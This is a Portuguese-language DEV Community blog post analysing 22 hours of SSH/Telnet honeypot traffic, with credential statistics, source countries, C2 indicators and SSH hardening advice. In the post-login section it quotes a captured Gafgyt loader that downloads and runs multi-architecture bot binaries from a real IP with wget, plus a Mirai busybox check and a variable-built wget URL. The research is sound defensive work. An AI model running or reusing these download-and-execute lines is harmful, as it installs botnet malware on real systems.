DEV Community

Cover image for 22 horas de um honeypot SSH: o que a internet faz com uma porta 22 aberta
Emerson Vieira
Emerson Vieira

Posted on

22 horas de um honeypot SSH: o que a internet faz com uma porta 22 aberta

Expus um servidor-isca de SSH à internet por 22 horas. Não precisei esperar por um ataque para ter o que analisar: ele já estava acontecendo, sem pausa, o tempo todo.

Este post é o que os dados mostraram, do brute force inicial até o payload que os bots tentam instalar, com números reais, IOCs e trechos do que foi capturado.

O que é um honeypot (e o que este faz)

Um honeypot é um servidor "isca": ele finge ser um alvo real, registra tudo que os atacantes tentam e nunca executa nada de verdade.

O que eu construí, do zero em Go:

  • SSH de média interação na porta 22. Ele coleta as credenciais e, depois de algumas tentativas, "aceita" o login e apresenta um shell emulado que registra cada comando pós-invasão, sem jamais executá-los.
  • Decoys de Telnet (23), PostgreSQL (5432) e FTP (21) para ampliar a superfície e ver o que mais é varrido.
  • Enriquecimento de GeoIP/ASN/reverse DNS por IP de origem.
  • Extração automática de IOCs: quando um bot chama wget/curl, a URL do payload é capturada. Quando a URL usa variáveis de shell, elas são reconstruídas para revelar o endereço real de C2.
  • Dashboard em tempo real com mapa de origem, heatmap e drill-down de sessão.

Aviso importante: média interação aumenta o valor dos dados, mas também o risco. Aqui é emulação pura, sem execução, sem egress e com limites de tempo e de comandos.

Dashboard do honeypot: KPIs, mapa de ameaças e serviços monitorados

Os números de menos de um dia

Janela: ~22 horas. 3.888 tentativas de 666 IPs distintos, uma média de ~176 tentativas por hora.

Por serviço (a porta-alvo revela o que está sendo varrido):

Serviço Tentativas
SSH (22) 3.249
Telnet (23) 363
PostgreSQL (5432) 273
FTP (21) 3

As credenciais mais tentadas não surpreendem, mas contam a história do alvo:

Usuários Hits Senhas Hits
root 1.008 123456 105
admin 292 admin 89
ubuntu 127 password 59
postgres 81 1234 61
crypto 86 12345678 40

O crypto como usuário-alvo é um lembrete de que parte da varredura procura carteiras e mineradores, não só shells.

Não é ruído uniforme

O tráfego parece constante, mas por cima do ruído de fundo há campanhas em rajada:

  • Um único IP (AS198364) disparou 820 tentativas sozinho, mais de 20% de todo o tráfego.
  • Quase metade das tentativas se concentrou em uma janela de apenas duas horas.

Heatmap de intensidade por hora e dia da semana

A maior parte veio de provedores de hospedagem (a Holanda liderou com folga: 1.278 tentativas), não de "hackers em porões", e sim de infraestrutura barata alugada para escanear em massa.

País Tentativas
Holanda 1.278
Romênia 348
Indonésia 266
Rússia 239
EUA 217

O que fazem depois de entrar

Aqui está a parte interessante. Depois que o login é "aceito", o comportamento é quase sempre o mesmo e 100% automatizado.

No Telnet, a assinatura é inconfundivelmente Mirai:

enable ; linuxshell ; system ; shell ; sh ; /bin/busybox UNSTABLE
Enter fullscreen mode Exit fullscreen mode

O /bin/busybox <TOKEN> é o teste que o Mirai usa para confirmar que caiu em um busybox real. O honeypot responde UNSTABLE: applet not found (o mesmo que um busybox de verdade diria) e o bot prossegue.

No SSH, capturei um loader Gafgyt completo. Ele tenta cada arquitetura possível, uma por uma:

enable
system
shell
sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.121/bins/pmips;  chmod 777 pmips;  ./pmips;  rm -rf pmips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.121/bins/x86_64; chmod 777 x86_64; ./x86_64; rm -rf x86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.121/bins/parm;   chmod 777 parm;   ./parm;   rm -rf parm
# ... e assim por diante: parm5, parm6, pmpsl, ppc, sh4, m68k
Enter fullscreen mode Exit fullscreen mode

Painel de pós-invasão do dashboard, com comandos e downloads capturados por sessão

A kill chain, resumida:

  1. Fingerprint da máquina (uname, arquitetura, número de CPUs), muitas vezes num one-liner robusto que tenta uname, busybox, toybox e lê /proc/*.
  2. Verificação de que é um dispositivo real (o teste de busybox acima).
  3. Download de um binário específico para a arquitetura detectada, em /tmp ou qualquer diretório gravável.

O payload multi-arquitetura

O detalhe que mais chama atenção: o mesmo bot serve binários para x86_64, ARM, MIPS, m68k, PowerPC e SH4. É a assinatura clássica de botnets como Mirai e Gafgyt, que infectam de servidores a roteadores e câmeras IoT.

Ou seja: não é "alguém" tentando te invadir. É uma máquina varrendo a internet inteira para montar um exército de dispositivos, servindo o binário certo para o hardware que encontrar.

Extraindo os IOCs reais

Alguns loaders montam a URL de download com variáveis de shell, algo como:

SERVER_IP=185.100.87.202; local_arch=x86
wget http://${SERVER_IP}/new.php?type=${local_arch}
Enter fullscreen mode Exit fullscreen mode

Se você só capturar a linha do wget, o IOC sai como template inútil: http://${SERVER_IP}/new.php?type=${local_arch}. O honeypot rastreia as atribuições de variáveis por IP de origem (mesmo quando a definição e o download chegam em conexões diferentes) e reconstrói o endereço real.

O resultado foram IOCs acionáveis (14 de 15 URLs saíram com o IP real):

IOC Execuções
http://2.26.136.128/twget.sh 50
http://31.77.227.121/bins/<arch> multi-arch
https://217.60.195.113/sh 4

Hosts de C2 prontos para uma blocklist: 2.26.136.128, 31.77.227.121, 217.60.195.113.

Extrair isso do banco é trivial (o honeypot guarda tudo em SQLite):

SELECT data AS url, COUNT(*) AS hits, COUNT(DISTINCT ip) AS src_ips
FROM session_events
WHERE event_type = 'download'
GROUP BY data
ORDER BY hits DESC;
Enter fullscreen mode Exit fullscreen mode

A lição, se você faz self-hosting

Se você tem uma porta 22 aberta agora, ela já está sendo testada, provavelmente enquanto você lê isto. As defesas são simples e conhecidas, mas vale repetir:

  • Nunca exponha SSH com autenticação por senha na internet.
  • Desative o login de root por senha (PermitRootLogin prohibit-password).
  • Use exclusivamente chaves criptográficas (ED25519).
  • Ou melhor: isole o acesso atrás de uma VPN (WireGuard, Tailscale).
  • Considere fail2ban/crowdsec e mudar a porta apenas como redução de ruído, nunca como segurança real.

Fechando

Um honeypot transforma um risco abstrato ("a internet é perigosa") em dado concreto: IPs, credenciais, comandos e binários reais. E deixa claro que a maior parte do que bate na sua porta não é direcionada a você, é uma varredura industrial, incansável, à procura de qualquer coisa mal configurada.

Construí tudo em Go: SSH de média interação, decoys de Telnet/PostgreSQL/FTP, enriquecimento de GeoIP/ASN, extração de IOCs e um dashboard em tempo real com mapa de ameaças e drill-down de sessão.

Se tiver interesse no setup, no código ou nos dados, comenta aqui. Fico feliz em detalhar qualquer parte.

Top comments (0)